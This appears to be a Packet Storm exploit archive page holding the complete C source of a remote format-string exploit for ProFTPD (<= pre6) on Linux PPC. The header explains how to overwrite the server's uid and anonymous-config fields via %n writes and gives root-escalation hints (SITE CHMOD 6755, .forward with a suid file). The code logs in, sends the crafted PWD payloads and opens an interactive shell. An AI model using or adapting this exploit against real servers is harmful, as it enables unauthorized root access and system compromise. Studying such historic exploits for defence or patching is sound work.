Twenty Year Anniversary

proftp_ppc.c

proftp_ppc.c
Posted Feb 11, 2000
Authored by Lamagra

Proftpd (<= pre6) linux ppc remote exploit.

tags | exploit, remote, ppc
systems | linux
MD5 | 5be616f9eb6406225e8b2cad3fb48c23

proftp_ppc.c

Change Mirror Download
/* PRIVATE              Do  not distribute            PRIVATE
oktober 1999

pro-ftpd remote exploit (linux ppc)

Bug: Proftpd (<= pre6) passes user commands to snprinft().
snprintf(argv,len,command + host + etc);
This makes it possible to insert formatstrings.
%n: writes the number of chars written to the location pointed to by it's
argument.

Stack:
[ user argument ]
[ other stuff ]
[ arguments + stack of the snprintf funtion + subfunctions ]

We walk to all that garbage using %u and stop at a certain possition inside
the usercommand. At that possition is the address that will be overwritten by %n.

Exploit is simple we overwrite the uid and the anonconfig. After a uid change
by LIST. We are root :-)

Exploit:
Linuxppc has a bad char (newline) in the address of session.anonconfig.
This is why I overwrite DenyAll inside the config, But this area in memory
is allocated and therefore unpredictable on a remote box. This is needed to
get write access on the server (within the chroot-env).

o Anonymous login: you can overwrite anything in /home/ftp.
Getting out of the chroot-enviroment is impossible since proftpd
doesn't use external program (to overwrite).
hint: use .forward in combination with a suid file.

o Local login: instant root by changing permission to suid.
hint: SITE CHMOD 6755 <file> (is allowed in proftpd, not in wuftpd)

I plugged this exploit in the ftp program, because this program doesn't have
data-connection support. Because it's not really needed.

I used this bug to get root on linuxppc but they never gave me credit for it.

I made a x86 exploit too, but i don't have any rpm-addy's. Only my testing vals.
I heard RH6.x comes with proftpd, anyone wanna let me get the addy's? mail me.

Greets to grue, lockdown, DryGrain
by lamagra <lamagra@uglypig.org>

http://lamagra.seKure.de
http://penguin.seKure.de
*/

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <netdb.h>

#define NUM 150
#define DEFAULT_OFFSET 0

unsigned long resolve(char *);
void usage(char *);
void wait_msg(int);
void ftplogin(int, char *, char *);
void shell(int);

extern char *optarg;
extern int optind;

void main(int argc, char **argv)
{
struct sockaddr_in addr;
int sockfd,i;
long port=21,*addrptr;
char c, name[100],pass[100],buf[1024];

/* SET DEFAULTS */

strcpy(name,"ftp");
strcpy(pass,"h@ck.er");

while((c = getopt(argc,argv,"hn:p:c:")) != EOF)
{
switch(c)
{
case 'h':
usage(argv[0]);
case 'n':
strncpy(name,optarg,100);
break;
case 'p':
strncpy(pass,optarg,100);
break;
case 'c':
port = atol(optarg);
}
}

if((argc - optind) != 1) usage(argv[0]);

bzero(&addr, sizeof(struct sockaddr_in));
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = resolve(argv[optind++]);

printf("Connecting.....");

if((sockfd = socket(AF_INET,SOCK_STREAM,0)) == -1)
{
printf("failed\n");
perror("socket");
exit(-1);
}

if(connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0)
{
printf("failed\n");
perror("connect");
exit(-1);
}

#ifdef DEBUG
sockfd = fileno(stdout);
#endif

wait_msg(sockfd);
printf("success\n");

printf("Logging in <%s>:<%s>\n",name,pass);
ftplogin(sockfd,name,pass);

strcpy(buf,"PWD aaaa");
/* Overwrite config to allow writing
* 0x0187e608: session.anon_config, bad char in 0x0187e60a
* DenyAll is at 0x1885f01 on the box i used for testing
* It just fucks up the string -> DenyAll isn't found -> default is AllowAll
*/
buf[8] = 0x01;
buf[9] = 0x88;
buf[10] = 0x5f;
buf[11] = 0x01;
/* session.disable_idswithing is at 0x187e5ca */
buf[12] = 0x01;
buf[13] = 0x87;
buf[14] = 0xe5;
buf[15] = 0xca;
/* Ugly, Ugly / didn't feel like counting :-) */
strncpy(buf+16,"%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u",NUM);
strcpy(buf+16+NUM,"%n%n\r\n");
write(sockfd,buf,strlen(buf));

sleep(1);

/* 0x0187e5cc: session.uid*/
buf[8] = 0x01;
buf[9] = 0x87;
buf[10] = 0xe5;
buf[11] = 0xcc;
buf[12] = 0x01;
buf[13] = 0x87;
buf[14] = 0xe5;
buf[15] = 0xce;
write(sockfd,buf,strlen(buf));

/* 0x187e5d0: session.ouid */
buf[8] = 0x01;
buf[9] = 0x87;
buf[10] = 0xe5;
buf[11] = 0xd0;
buf[12] = 0x01;
buf[13] = 0x87;
buf[14] = 0xe5;
buf[15] = 0xd2;
write(sockfd,buf,strlen(buf));

/* LIST switches uid to session.ouid to bind to port 20 (ftp-data - privelidged port) */
write(sockfd,"LIST\r\n",6);

/* LIST returns error "No data connection" */
do{
read(sockfd,buf,sizeof(buf));
}while(strstr(buf,"connection") == NULL);

printf("Opening shell-connection\n");
shell(sockfd);

printf("THE END\n");
close(sockfd);
}

void shell(int sockfd)
{
char buf[1024];
fd_set set;
int len;

while(1)
{
FD_SET(fileno(stdin),&set);
FD_SET(sockfd,&set);
select(sockfd+1,&set,NULL,NULL,NULL);

if(FD_ISSET(fileno(stdin),&set))
{
memset(buf,NULL,1024);
fgets(buf,1024,stdin);
write(sockfd,buf,strlen(buf));
}

if(FD_ISSET(sockfd,&set))
{
memset(buf,NULL,1024);
if((len = read(sockfd,buf,1024)) == 0)
{
printf("EOF.\n");
exit(-1);
}

if(len == -1)
{
perror("read");
exit(-1);
}
puts(buf);
}
}
}

void ftplogin(int sockfd, char *user,char *passwd)
{
char send[500];

memset(send,NULL,500);
snprintf(send,500,"USER %s\r\n",user);
write(sockfd,send,strlen(send));
wait_msg(sockfd);

memset(send,NULL,500);
snprintf(send,500,"PASS %s\r\n",passwd);
write(sockfd,send,strlen(send));
wait_msg(sockfd);
return;
}

void wait_msg(int sockfd)
{
char c;

while(read(sockfd,(char *)&c,sizeof(char)) > 0)
{
if(c == '\n') break;
}
}

unsigned long resolve(char *hostname)
{
struct hostent *hp;
unsigned long ip;

if((ip = inet_addr(hostname)) == -1)
{
if((hp = gethostbyname(hostname)) == NULL)
{
printf("Can't resolve hostname <%s>.\n",hostname);
exit(-1);
}
memcpy(&ip,hp->h_addr,4);
}
return ip;
}

void usage(char *name)
{
printf("Usage: %s <host> [-n name] [-p pass] [-c port]\n",name);
exit(-1);
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    10 Files
  • 2
    Nov 2nd
    15 Files
  • 3
    Nov 3rd
    2 Files
  • 4
    Nov 4th
    2 Files
  • 5
    Nov 5th
    32 Files
  • 6
    Nov 6th
    27 Files
  • 7
    Nov 7th
    8 Files
  • 8
    Nov 8th
    9 Files
  • 9
    Nov 9th
    17 Files
  • 10
    Nov 10th
    2 Files
  • 11
    Nov 11th
    2 Files
  • 12
    Nov 12th
    33 Files
  • 13
    Nov 13th
    29 Files
  • 14
    Nov 14th
    23 Files
  • 15
    Nov 15th
    45 Files
  • 16
    Nov 16th
    9 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close